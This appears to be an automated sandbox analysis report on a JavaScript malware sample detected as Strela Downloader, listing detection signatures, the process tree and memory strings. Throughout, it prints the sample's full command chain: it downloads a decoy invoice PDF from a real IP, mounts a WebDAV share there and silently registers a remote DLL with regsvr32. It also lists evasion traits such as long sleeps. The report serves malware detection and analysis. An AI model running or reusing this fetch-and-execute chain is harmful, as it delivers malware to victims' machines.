Edit tour

Windows Analysis Report
44462735347649449.js

Overview

General Information

Sample name:	44462735347649449.js
Analysis ID:	1589069
MD5:	14973d2c9b2a71e1809e69eaec15d3ed
SHA1:	c0bf495ff1fdcc2afe1c72382d2ba96d13e955da
SHA256:	5b234190c6755383a78861faedd9c9b649b616829d9813917492d0798ff03c9c
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7440 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7488 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7532 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7728 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1528,i,7753790518022009502,16897953190388194074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7744 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7776 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8004 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7440	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7532, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7532, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ProcessId: 7440, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ProcessId: 7440, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7532, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7776, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8004, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7776, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 7488, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 44462735347649449.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 44462735347649449.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 44462735347649449.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1687941718.0000025AFBA0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1750100341.000002CE3BFA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750100341.000002CE3BFD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1
Source: net.exe, 00000006.00000002.1750100341.000002CE3BFA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2977624969.00000181D82C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 00000008.00000002.2977383035.00000181D820F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1767499744.00000181D7F78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1767499744.00000181D7F78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1767499744.00000181D7F78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1767499744.00000181D7FAD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1767499744.00000181D8022000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1767499744.00000181D8022000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1767499744.00000181D8022000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7440, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
